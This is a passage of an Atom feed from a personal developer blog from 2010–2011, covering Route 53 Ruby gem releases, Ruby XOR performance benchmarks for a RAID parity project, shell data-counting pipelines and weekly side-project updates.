/&gt;&lt;br /&gt;#Lets sort it, get the unique values and count them and then sort numerically the results&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;gzip -dc postal_codes.csv.gz | head -15 | cut -d'|' -f3,4 | sort | uniq -c | sort -n &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#Top 30 city/province pairs for canadian zipcodes, it takes some time so we'll cache it to a file&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;gzip -dc postal_codes.csv.gz | head -15 | cut -d'|' -f3,4 | sort | uniq -c | sort -n | tail -30 &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#Lets see how long it takes, and lets write it to a file&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;time gzip -dc postal_codes.csv.gz | cut -d'|' -f3,4 | sort | uniq -c | sort -n &amp;gt; ~/my_sweet_report.txt&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#Use ESC-. to bring up last arg&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: 'Courier New', Courier, monospace;&quot;&gt;less ~/my_sweet_report.txt&amp;nbsp;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Route53 Updated</title>
   <link href="https://blog.50projects.com/2011/05/route53-updated.html"/>
   <updated>2011-05-30T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2011/05/route53-updated</id>
   <content type="html">&lt;div class='post'&gt;
I've just updated the route53 gem to support Amazon's latest additions including weighted resource record sets as well as zone apex support allowing assignment of ELB instances to roots of domains. It's like allowing a CNAME of the naked domain to an ELB instance which was previously unavailable to folks using EC2.&lt;br /&gt;&lt;br /&gt;This is probably the most successful tool I've put together to date. With 75 watchers and 10 forks on github as well as over &lt;a href=&quot;https://rubygems.org/gems/route53/stats&quot;&gt;2000 downloads&lt;/a&gt; and counting from rubygems. I look forwarding to continue improving the project and keeping up with the new features as Amazon releases them.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/pcorliss/ruby_route_53&quot;&gt;https://github.com/pcorliss/ruby_route_53&lt;/a&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Quick Update</title>
   <link href="https://blog.50projects.com/2011/05/quick-update.html"/>
   <updated>2011-05-28T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2011/05/quick-update</id>
   <content type="html">&lt;div class='post'&gt;
It's been a while since I last posted. I decided talking about a job search while it was in progress was probably a bad move. After I finally got hired I found it more and more difficult to come home at night after a long commute and spend time working on my own projects. But after a recent move which significantly reduces my commute I'm ready to jump back in.&lt;br /&gt;&lt;br /&gt;For those interested I started working as a Software Developer at Groupon in late January and I've been doing well. I turned down some great offers and interviews but in the end Groupon seemed to offer the biggest challenge. And in the lawyers made me say it category, while I do work for Groupon my&amp;nbsp;opinions&amp;nbsp;are my own as well as the code that I develop outside of the office.&lt;br /&gt;&lt;br /&gt;Expect a new post about some upgrades to the route 53 gem to support some newly released features. As well as an rspec patch I put together to support running multiple specs via line ranges.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Ruby String XOR Optimizations</title>
   <link href="https://blog.50projects.com/2010/12/ruby-string-xor-optimizations.html"/>
   <updated>2010-12-28T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/12/ruby-string-xor-optimizations</id>
   <content type="html">&lt;div class='post'&gt;
As part of the LazyRaid project I spent a non trivial amount of time trying to develop an algorithm to perform an XOR operation in ruby against two blocks of data read from files. My initial try was a pure ruby implementation and was based off of some forum posts. These worked fine for small strings but when used on blocks of data larger than a few kilobytes it took an unacceptably long time.&lt;br /&gt;&lt;pre&gt;#Initial XOR method from forums - http://www.ruby-forum.com/topic/175539&lt;br /&gt;#0.627 Mb/s (All times are based on a single core of my development machine - i5 750 @ 2.67GHz)&lt;br /&gt;def xor1(second)&lt;br /&gt;  self.bytes.zip(second.bytes).map { |a,b| (a^b).chr}.join&lt;br /&gt;end&lt;br /&gt;&lt;/pre&gt;At this point I started investigating writing a C extension to give the process a boost and eventually succeeded after a night of furious hacking. As you can see in the benchmarks below this was about a 2000x speedup and I decided to move on to other features. It wasn't until after the project was finished that I started wondering what sort of speedup I could get using a pure ruby implementation and if it would even be comparable to my naive first stab at a ruby C extension. So I started trying different methods out.&lt;br /&gt;&lt;br /&gt;This next method avoids the bytes method and accesses each string char directly then converts them to their ordinal values performs the XOR and pushes it on to the string. More than a 2x speedup from the first implementation.&lt;br /&gt;&lt;pre&gt;#1.589 Mb/s&lt;br /&gt;def xor2(second)&lt;br /&gt;  s = &quot;&quot;&lt;br /&gt;  [self.size,second.size].max.times do |i|&lt;br /&gt;    s &amp;lt;&amp;lt; ((self[i] || 0).ord ^ (second[i] || 0).ord)&lt;br /&gt;  end&lt;br /&gt;  return s&lt;br /&gt;end&lt;br /&gt;&lt;/pre&gt;Further refinement involves using the zip method to combine the strings as byte arrays resulting in some marginal speedups.  &lt;br /&gt;&lt;pre&gt;#1.881 Mb/s&lt;br /&gt;def xor3(second)&lt;br /&gt;  s = &quot;&quot;&lt;br /&gt;  #s.force_encoding(&quot;ASCII-8BIT&quot;)&lt;br /&gt;  [self.size,second.size].max.times.zip(self.each_byte.to_a,second.each_byte.to_a) do |i,a,b|&lt;br /&gt;    s &amp;lt;&amp;lt; (a ^ b).chr&lt;br /&gt;  end&lt;br /&gt;  return s&lt;br /&gt;end&lt;br /&gt;&lt;/pre&gt;Enter the pack and unpack methods. Seemingly the quickest way to convert the string into byte arrays.   &lt;br /&gt;&lt;pre&gt;#2.613 Mb/s&lt;br /&gt;def xor4(second)&lt;br /&gt;  s = []&lt;br /&gt;  self.unpack('C*').zip(second.unpack('C*')) {|a,b| s.push( (a||0) ^ (b||0) ) }&lt;br /&gt;  return s.pack('C*')&lt;br /&gt;end&lt;br /&gt;&lt;/pre&gt;I attempted the operation with unpack options larger than 1 byte. This works great for large data sets that have sizes evenly divisible by 8 bytes. The 0-7 bytes at the end will be ignored. Some extra code could probably be written to account for this. As the speedup is substantial and this represents the fastest ruby implementation I was able to produce.  &lt;br /&gt;&lt;pre&gt;#13.369 Mb/s&lt;br /&gt;def xor5(second)&lt;br /&gt;  s = []&lt;br /&gt;  self.unpack('Q*').zip(second.unpack('Q*')) {|a,b| s.push( (a||0) ^ (b||0) ) }&lt;br /&gt;  return s.pack('Q*')&lt;br /&gt;end&lt;br /&gt;&lt;/pre&gt;And finally a more robust method that properly takes into account all sizes and differing lengths of strings. This implementation is essentially the same as xor4.  &lt;br /&gt;&lt;pre&gt;#2.605 Mb/s&lt;br /&gt;def xor6(second)&lt;br /&gt;  self.length &amp;gt; second.length ? (string1=self;string2=second) : (string2=self;string1=second)&lt;br /&gt;  s = []&lt;br /&gt;  string1.unpack('C*').zip(string2.unpack('C*')) {|a,b| s.push( (a||0) ^ (b||0) ) }&lt;br /&gt;  return s.pack('C*')&lt;br /&gt;end&lt;br /&gt;&lt;/pre&gt;In the end my fastest ruby implementation was still about 2 orders of magnitude slower than the C solution. I'm sure there's more room for performance improvements and I hope someone out there takes a look at this and finds a more optimal ruby only solution. Until then I'll likely start looking to C more often when I need to do some performance optimization.  You can see the code used in this post as well as the C libraries used on github at &lt;a href=&quot;https://github.com/pcorliss/Ruby-String-XOR-Optimizations&quot;&gt;https://github.com/pcorliss/Ruby-String-XOR-Optimizations&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Note:&lt;/b&gt; Towards the end of preparing this post I came across the ruby gem &lt;a href=&quot;https://github.com/CodeMonkeySteve/fast_xor&quot;&gt;fast_xor&lt;/a&gt;&amp;nbsp; which is based on C like my solution. However fast_xor stands out since it runs at 5x the speed my implementation does. It's included in the benchmarks below and you should probably implement it if you're considering doing any non-trivial XOR work in your ruby application. Otherwise xor6 should be suitable for most use cases.  &lt;br /&gt;&lt;pre&gt;pcorliss@hawaii:~/projects/ruby_benchmarks$ ruby benchmark.rb &lt;br /&gt;Ensuring parity calculation is correct.&lt;br /&gt;xor1:1d9d0030fe31415e1fa9dd8b7b782315&lt;br /&gt;xor2:1d9d0030fe31415e1fa9dd8b7b782315&lt;br /&gt;xor3:1d9d0030fe31415e1fa9dd8b7b782315&lt;br /&gt;xor4:1d9d0030fe31415e1fa9dd8b7b782315&lt;br /&gt;xor5:1d9d0030fe31415e1fa9dd8b7b782315&lt;br /&gt;xor6:1d9d0030fe31415e1fa9dd8b7b782315&lt;br /&gt;xorc:1d9d0030fe31415e1fa9dd8b7b782315&lt;br /&gt;xor!:1d9d0030fe31415e1fa9dd8b7b782315&lt;br /&gt;Performing Benchmarks&lt;br /&gt;      user     system      total        real&lt;br /&gt;xor1 10 times: 79.040000   0.440000  79.480000 ( 79.689313)&lt;br /&gt;xor2 10 times: 31.410000   0.000000  31.410000 ( 31.467753)&lt;br /&gt;xor3 10 times: 26.280000   0.240000  26.520000 ( 26.583489)&lt;br /&gt;xor4 10 times: 18.690000   0.400000  19.090000 ( 19.136069)&lt;br /&gt;xor5 10 times:  3.720000   0.020000   3.740000 (  3.740085)&lt;br /&gt;xor6 10 times: 18.650000   0.500000  19.150000 ( 19.191539)&lt;br /&gt;xorc 10 times:  0.040000   0.000000   0.040000 (  0.041738) #My C implementation&lt;br /&gt;xor! 10 times:  0.000000   0.000000   0.000000 (  0.011803) #fast_xor gem&lt;br /&gt;xorc 1000 times:  4.370000   1.390000   5.760000 (  5.785931) #My C implementation&lt;br /&gt;xor! 1000 times:  1.160000   0.000000   1.160000 (  1.170025) #fast_xor gem&lt;br /&gt;&lt;/pre&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>The Future of 50projects</title>
   <link href="https://blog.50projects.com/2010/12/future-of-50projects.html"/>
   <updated>2010-12-27T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/12/future-of-50projects</id>
   <content type="html">&lt;div class='post'&gt;
Over the last 5 months I've done a lot of work that I'm proud of. However the revenue and traffic has been far lower than even my most conservative estimates. I think I'm a decent software developer but I am not a marketer. At this point my finances are stable enough that I could continue doing 50projects for the entire year and then some but I just don't feel comfortable not collecting a paycheck. With that said I'll be starting a job search at the beginning of the new year. I've already put together a short of list of companies in the Chicago area I'll be pursuing. In addition I'm open to entertaining contract software development opportunities so please feel free to &lt;a href=&quot;http://blog.50projects.com/p/contact.html&quot;&gt;contact me&lt;/a&gt; if you know someone that is looking for a developer in the Chicago area or is open to telecommuting and/or light travel.&lt;br /&gt;&lt;br /&gt;I'll post my resume shortly but my &lt;a href=&quot;http://www.linkedin.com/in/philipcorliss&quot;&gt;linkedin profile&lt;/a&gt; is a good approximation.&lt;br /&gt;&lt;br /&gt;Until I accept a position I'll continue to do weekly projects and post the results on 50projects but the scope may be reduced as I go on interviews. Afterwards I may move to a more relaxed style of 2-4 week projects spread out over more than one year. But I fully intend to continue posting updates and releasing projects.&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Festivus Greetings - Sunday</title>
   <link href="https://blog.50projects.com/2010/12/festivus-greetings-sunday.html"/>
   <updated>2010-12-27T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/12/festivus-greetings-sunday</id>
   <content type="html">&lt;div class='post'&gt;
Those looking at the posting time will note that this post is title &quot;Festivus Greetings - Sunday&quot; when it is in fact Monday morning. I neglected to write the post yesterday. However the final version went out Saturday afternoon.&lt;br /&gt;&lt;br /&gt;You can take a look at &lt;strike&gt;&lt;a href=&quot;http://festivus.50projects.com/&quot;&gt;http://festivus.50projects.com/&lt;/a&gt;&lt;/strike&gt; Note: Taken down to save on costs&lt;br /&gt;&lt;br /&gt;There are some issues with the webcam recording process that I've been unable to reproduce but others have run into. So please make sure to click the play button after you finish recording your message to ensure it looks okay. And when in doubt just reload the page and record again.&lt;br /&gt;&lt;br /&gt;The backend on this turned out to be more complicated than I had hoped requiring the setup of a VPS server (&lt;a href=&quot;http://www.linode.com/&quot;&gt;Linode&lt;/a&gt;) to host a &lt;a href=&quot;http://www.red5.org/&quot;&gt;Red5&lt;/a&gt; server. On the plus side I hadn't had the opportunity to work with Ruby enterprise edition or nginx before. Setup was a breeze after I got my bearings. I'm particularly impressed by REE's memory footprint for a single instance of my app (29Mb).&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Code Coverage and Ruby Speed - Monday</title>
   <link href="https://blog.50projects.com/2010/12/code-coverage-and-ruby-speed-monday.html"/>
   <updated>2010-12-27T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/12/code-coverage-and-ruby-speed-monday</id>
   <content type="html">&lt;div class='post'&gt;
This week we'll be going in a slightly different direction. I'll be spending it going back and refactoring some previous projects to include test cases and do some refactoring, specifically the &lt;a href=&quot;https://github.com/pcorliss/ruby_route_53&quot;&gt;route 53 gem&lt;/a&gt;&amp;nbsp; which has seen some moderate popularity since it was released as evidenced by the number of followers on the &lt;a href=&quot;https://github.com/pcorliss&quot;&gt;github page&lt;/a&gt; as well as the number of downloads from &lt;a href=&quot;https://rubygems.org/gems/route53&quot;&gt;rubygems&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://rubygems.org/gems/route53&quot;&gt;https://rubygems.org/gems/route53&lt;/a&gt; (254 downloads)&lt;br /&gt;&lt;a href=&quot;https://github.com/pcorliss/ruby_route_53&quot;&gt;https://github.com/pcorliss/ruby_route_53&lt;/a&gt; (25 watchers, 5 forks)&lt;br /&gt;&lt;br /&gt;This is in addition to a post I wanted to write on ruby and the great lengths you have to go to sometimes to get reasonable speeds. Specifically I'll go in depth to the speed boost gained from writing a &lt;a href=&quot;https://github.com/pcorliss/LazyRaid/blob/master/lib/xor/xor.c&quot;&gt;C extension&lt;/a&gt; to the &lt;a href=&quot;https://github.com/pcorliss/LazyRaid&quot;&gt;LazyRaid&lt;/a&gt; project to perform XORs. See &lt;a href=&quot;http://blog.50projects.com/2010/11/lazy-raid-wednesday.html&quot;&gt;this post&lt;/a&gt; for the original mention of the problem.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Festivus Greetings - Monday</title>
   <link href="https://blog.50projects.com/2010/12/festivus-greetings-monday.html"/>
   <updated>2010-12-20T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/12/festivus-greetings-monday</id>
   <content type="html">&lt;div class='post'&gt;
Prior to moving to Chicago I threw the wildest, most extravagant Festivus parties every year during the holiday season [citation needed]. We deep fried turkeys, had a toasty fire going, served copious amounts of alcohol and adhered to the strict traditions of a made up holiday. There was a poll which pictures were taken with, an airing of grievances and Festivus wasn't over until the host was pinned. Truly a marvelous holiday.&lt;br /&gt;&lt;br /&gt;This year I'll be away from my friends in a strange city but I still want the Festivus cheer to be a part of my life. So this week's project will center around developing a site and backend components to allow people to post their Festivus greetings and grievances.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&lt;/b&gt; Website to allow users to view and post their festivus greetings.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Features:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Greeting Playback&lt;/li&gt;&lt;li&gt;Built in browser based webcam recording&lt;/li&gt;&lt;li&gt;RTMP stream handling to back browser based webcam recording&lt;/li&gt;&lt;li&gt;Youtube and Vimeo integration&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Subject Content Aggregator - Sunday</title>
   <link href="https://blog.50projects.com/2010/12/subject-content-aggregator-sunday.html"/>
   <updated>2010-12-19T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/12/subject-content-aggregator-sunday</id>
   <content type="html">&lt;div class='post'&gt;
Initially this project was designed to be a method of attracting search engine traffic by aggregating popular content but I'm doubtful that it will attract enough traffic to generate significant revenue. Despite that it's up and running and pulling in content from multiple sources and for multiple subjects.&lt;br /&gt;&lt;br /&gt;I'm not excited about the design. It definitely lacks any flare. But as far as basic features it does what it's supposed to. RSS aggregation, display of popular articles only, multiple subjects, etc..&lt;br /&gt;&lt;br /&gt;You can check it out at &lt;a href=&quot;http://aggie.50projects.com/&quot;&gt;http://aggie.50projects.com&lt;/a&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Subject Content Aggregator - Monday</title>
   <link href="https://blog.50projects.com/2010/12/subject-content-aggregator-monday.html"/>
   <updated>2010-12-13T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/12/subject-content-aggregator-monday</id>
   <content type="html">&lt;div class='post'&gt;
Like a lot of people I have a handful of sites I like to visit on a daily basis. I had tried Google reader in the past and it allowed me to stay up to date on all of my favorite subjects but I found myself avoiding it because it was too much information. I just want a light taste of the subject, I don't have the time or the patience to become an authority on the subject.&lt;br /&gt;&lt;br /&gt;That leads into this week's project, think of it like Google news with less customization and focused on specific topics. To start with I'll be selecting just two topics (video games &amp;amp; possibly sports) but building in functionality to support a quick build out of multiple topics in the future. Content will automatically be aggregated from multiple sources via RSS feeds, parsed, duplicate articles combined and posted to the site. The idea is to make this a completely automated process with zero-editorial oversight. Ideally this will lead to a way for people to get good content on specific subjects without having to rely on the delay of user moderated or editorially based content.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&lt;/b&gt; Customizable Content Aggregator and Presenter&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Features&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;RSS feed reader/parser/poster&lt;/li&gt;&lt;li&gt;Text analysis for article relatedness&lt;/li&gt;&lt;li&gt;Potential &lt;a href=&quot;https://github.com/mojombo/jekyll&quot;&gt;jekyll&lt;/a&gt; integration for speedy page generation and low overhead&lt;/li&gt;&lt;li&gt;Multiple topics support allowing instant spinup of other topics&lt;/li&gt;&lt;li&gt;Backend dashboard for maintenance&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Amazon Route 53 Interface - Friday</title>
   <link href="https://blog.50projects.com/2010/12/amazon-route-53-interface-friday.html"/>
   <updated>2010-12-10T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/12/amazon-route-53-interface-friday</id>
   <content type="html">&lt;div class='post'&gt;
After a few days of tweaking I'm happy to say that I've ferreted out all the obvious bugs and things are looking good. The ruby interface to Amazon's Route 53 can officially be called &quot;Released&quot;. Complete with a command line interface as well as a module for inclusion in other ruby projects. All packaged up nice and neat in my first gem.&lt;br /&gt;&lt;br /&gt;You can find the source and documentation at &lt;a href=&quot;https://github.com/pcorliss/ruby_route_53&quot;&gt;https://github.com/pcorliss/ruby_route_53&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Bug reports should either go to me or to the Issues page on github.&lt;br /&gt;&lt;br /&gt;If you already have the gem installed you'll want to run&lt;br /&gt;&lt;br /&gt;&lt;code&gt;sudo gem update route53&lt;/code&gt;&lt;br /&gt;&lt;br /&gt;Otherwise&lt;br /&gt;&lt;br /&gt;&lt;code&gt;sudo gem install route53&lt;/code&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Amazon Route 53 Interface - Wednesday</title>
   <link href="https://blog.50projects.com/2010/12/amazon-route-53-interface-wednesday.html"/>
   <updated>2010-12-08T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/12/amazon-route-53-interface-wednesday</id>
   <content type="html">&lt;div class='post'&gt;
An early prototype of the Ruby interface for Amazon's Route 53 is available on &lt;a href=&quot;https://github.com/pcorliss/ruby_route_53&quot;&gt;github&lt;/a&gt; and as the &lt;a href=&quot;https://rubygems.org/gems/route53&quot;&gt;route53 gem&lt;/a&gt;. You can install the gem by typing the following.&lt;br /&gt;&lt;code&gt;&lt;br /&gt;gem install route53&lt;br /&gt;&lt;/code&gt;&lt;br /&gt;There isn't any documentation and the &lt;strike&gt;command line interface isn't done yet&lt;/strike&gt; but this should get folks started that want to create a zone or two along with some simple records.&lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://github.com/pcorliss/ruby_route_53&quot;&gt;https://github.com/pcorliss/ruby_route_53&lt;/a&gt;&lt;br /&gt;&lt;a href=&quot;https://rubygems.org/gems/route53&quot;&gt;https://rubygems.org/gems/route53&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Edit: &lt;/b&gt;No longer a prototype &lt;a href=&quot;http://blog.50projects.com/2010/12/amazon-route-53-interface-friday.html&quot;&gt;http://blog.50projects.com/2010/12/amazon-route-53-interface-friday.html&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Amazon Route 53 Interface - Monday</title>
   <link href="https://blog.50projects.com/2010/12/amazon-route-53-interface-monday.html"/>
   <updated>2010-12-06T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/12/amazon-route-53-interface-monday</id>
   <content type="html">&lt;div class='post'&gt;
Last night just as I was struggling to figure out which project I would work on this week I saw a &lt;a href=&quot;http://news.ycombinator.com/item?id=1974008&quot;&gt;post on Hacker News&lt;/a&gt; regarding Amazon's latest web services offering. &lt;a href=&quot;http://aws.amazon.com/about-aws/whats-new/2010/12/06/announcing-amazon-route-53-dns-service/&quot;&gt;Route 53&lt;/a&gt; offers programmatic control of Amazon's globally based DNS service designed for a high volume of queries. At $1/domain/month with additional charges for high query volume it's questionable whether this service will take off for the general consumer market given that most domain registrars provide DNS for free already. However in the professional market where the needs for highly configurable, low TTL, low latency DNS services is necessary Route 53 could be a contender.&lt;br /&gt;&lt;br /&gt;As the service was just released it doesn't have a generally usable front end. The getting started documentation has the user editing XML files to begin using the service. I'm uncertain if this is a deliberate attempt by Amazon to get the developer community to build the tools to interact with the service or just a function of the product being in beta mode still. Regardless I'm taking the bait.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary:&lt;/b&gt; Create an interface for Route 53&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Features:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Ruby Gem based&lt;/li&gt;&lt;li&gt;Command Line Interface&lt;/li&gt;&lt;li&gt;Easy to Use Programmatic Control&lt;/li&gt;&lt;li&gt;Simple web front end&lt;/li&gt;&lt;/ul&gt;&lt;b&gt;Edit:&lt;/b&gt; &lt;a href=&quot;http://blog.50projects.com/2010/12/amazon-route-53-interface-wednesday.html&quot;&gt;Early prototype of a ruby library for Amazon's Route 53 is now available&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Edit 2:&lt;/b&gt; No longer a prototype &lt;a href=&quot;http://blog.50projects.com/2010/12/amazon-route-53-interface-friday.html%20&quot;&gt;http://blog.50projects.com/2010/12/amazon-route-53-interface-friday.html &lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Those Pesky Body Scanners - Saturday</title>
   <link href="https://blog.50projects.com/2010/12/those-pesky-body-scanners-saturday.html"/>
   <updated>2010-12-04T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/12/those-pesky-body-scanners-saturday</id>
   <content type="html">&lt;div class='post'&gt;
Friday was a bit of a blur as I tried to tie up all the loose ends with a project that crop up towards the end. Small bugs and minor features sneak in at the last minute and as you try to make it perfect the time slips away. I started at 9am yesterday and finished around 7pm with only a quick break for lunch. All the while I was only 30 minutes away from releasing.&lt;br /&gt;&lt;br /&gt;The good news is that everything did indeed get sown up last night. And the &lt;a href=&quot;http://airdex.50projects.com/&quot;&gt;Airport Security Index&lt;/a&gt; is now up and running. Please feel free to add new information and confirm or deny information already present. The interface is pretty simple, or at least I hope so, so you shouldn't have much trouble navigating the site.&lt;br /&gt;&lt;br /&gt;The premise is simple. Each airport is listed with all reported security features. As folks use the site new security features will be listed and users will have the opportunity to either confirm or deny the presence of a body scanner. Additionally users can add missing information. There are some gaps right now as I could only get TSA provided information. But I'm hoping with a sufficient user base things will fill in more.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Link:&lt;/b&gt; &lt;a href=&quot;http://airdex.50projects.com/&quot;&gt;http://airdex.50projects.com/&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Challenges:&lt;/b&gt; Over all this project seems to have gone over pretty well. A slow start initially due to some technical challenges working through rails (what else is new) but Thursday and Friday were incredibly productive.&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Those Pesky Body Scanners - Monday</title>
   <link href="https://blog.50projects.com/2010/11/those-pesky-body-scanners-monday.html"/>
   <updated>2010-11-29T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/11/those-pesky-body-scanners-monday</id>
   <content type="html">&lt;div class='post'&gt;
Back from vacation refreshed and ready to start on another project. This week I'll be working on a site to help travelers understand the security measures in place in airports and what their options are. For example I flew through Chicago's Midway airport and the Ft. Lauderdale airport on my trip and didn't encounter one of the now infamous backscatter x-ray machines. I did however get my hands swabbed and run through what I think was a gas spectrometer looking for chemical traces of explosives and saw a senior citzen getting patted down thouroughly by a TSA agent. This seems like information an informed flier may want access to prior to flying.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;Project Summary: &lt;/b&gt;Develop a web app to provide information on specific airport security and TSA requirements.&lt;br /&gt;&lt;b&gt;&lt;br /&gt;Features:&lt;/b&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Import a list of all airports world wide.&lt;/li&gt;&lt;li&gt;Track down passenger volume data for sorting purposes.&lt;/li&gt;&lt;li&gt;Allow users to provide updates.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Vacation Edition - Monday</title>
   <link href="https://blog.50projects.com/2010/11/vacation-edition-monday.html"/>
   <updated>2010-11-22T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/11/vacation-edition-monday</id>
   <content type="html">&lt;div class='post'&gt;
Part of the reason it's 50 projects instead of 52 projects is that I wanted to set aside 2 weeks for vacation. I'll see if I can post some pictures of the sights down in the Florida Keys.&lt;br /&gt;&lt;br /&gt;Features&lt;br /&gt;Suntan&lt;br /&gt;Snorkeling&lt;br /&gt;Seafood&lt;br /&gt;Alliterations&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Lazy Raid - Week 2 - Saturday</title>
   <link href="https://blog.50projects.com/2010/11/lazy-raid-week-2-saturday.html"/>
   <updated>2010-11-20T00:00:00+00:00</updated>
   <id>https://blog.50projects.com/2010/11/lazy-raid-week-2-saturday</id>
   <content type="html">&lt;div class='post'&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: 'Times New Roman'; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: collapse; font-family: arial,sans-serif; font-size: 13px;&quot;&gt;Not the best week for me. I was able to integrate the &lt;a href=&quot;http://www.cs.utk.edu/%7Eplank/plank/papers/CS-08-627.html&quot;&gt;Jerasure&lt;/a&gt; library into the existing &lt;a href=&quot;https://github.com/pcorliss/LazyRaid&quot;&gt;LazyRaid&lt;/a&gt; code. However about 1 in 20 recovery attempts fail consistently. I spent Tuesday through Thursday troubleshooting the issue and wasn't able to track down the problem. I finished integrating it but a redundancy solution that only successfully recovers something 19/20 times isn't much of a redundancy solution. For now singly disk redundancy will have to be okay.&lt;br /&gt;&lt;br /&gt;Additionally packaging the application for Windows has proven to be an issue as well. Tools like &lt;a href=&quot;http://rubyforge.org/projects/ocra/&quot;&gt;ocra&lt;/a&gt; and RubyScript2Exe don't want to work without major tweaking and I just don't have the patience. For now a separate branch will be available with the compiled windows .so library for the xor calculation. Compiling it was another amazing hassle. Ruby and windows just doesn't seem to mix.&lt;br /&gt;&lt;br /&gt;So in summary no working significant code released this week. Plenty of non-working code is available on the jerasure branch on github though.&lt;span class=&quot;Apple-converted-space&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;a href=&quot;https://github.com/pcorliss/LazyRaid/tree/jerasure&quot; style=&quot;color: #2a5db0;&quot; target=&quot;_blank&quot;&gt;https://github.com/pcorliss/&lt;wbr&gt;&lt;/wbr&gt;LazyRaid/tree/jerasure&lt;/a&gt; (NOT FUNCTIONAL! do not use for production data)&lt;br /&gt;&lt;br /&gt;Check the windows branch for the compiled dll and modified disk handling code. &lt;a href=&quot;https://github.com/pcorliss/LazyRaid/tree/windows&quot; style=&quot;color: #2a5db0;&quot; target=&quot;_blank&quot;&gt;https://github.com/pcorliss/&lt;wbr&gt;&lt;/wbr&gt;LazyRaid/tree/windows&lt;/a&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: 'Times New Roman'; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: collapse; font-family: arial,sans-serif; font-size: 13px;&quot;&gt;Tomorrow I'll post the XOR speed comparison between ruby and the native C library I wrote to handle the XOR calculation.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
</content>
 </entry>
 
 <entry>
   <title>Lazy Raid - Week 2 - Monday</title>
   <link href="https://blog.50projects.com/2010/11/lazy-raid-week-2-monday.html"/>
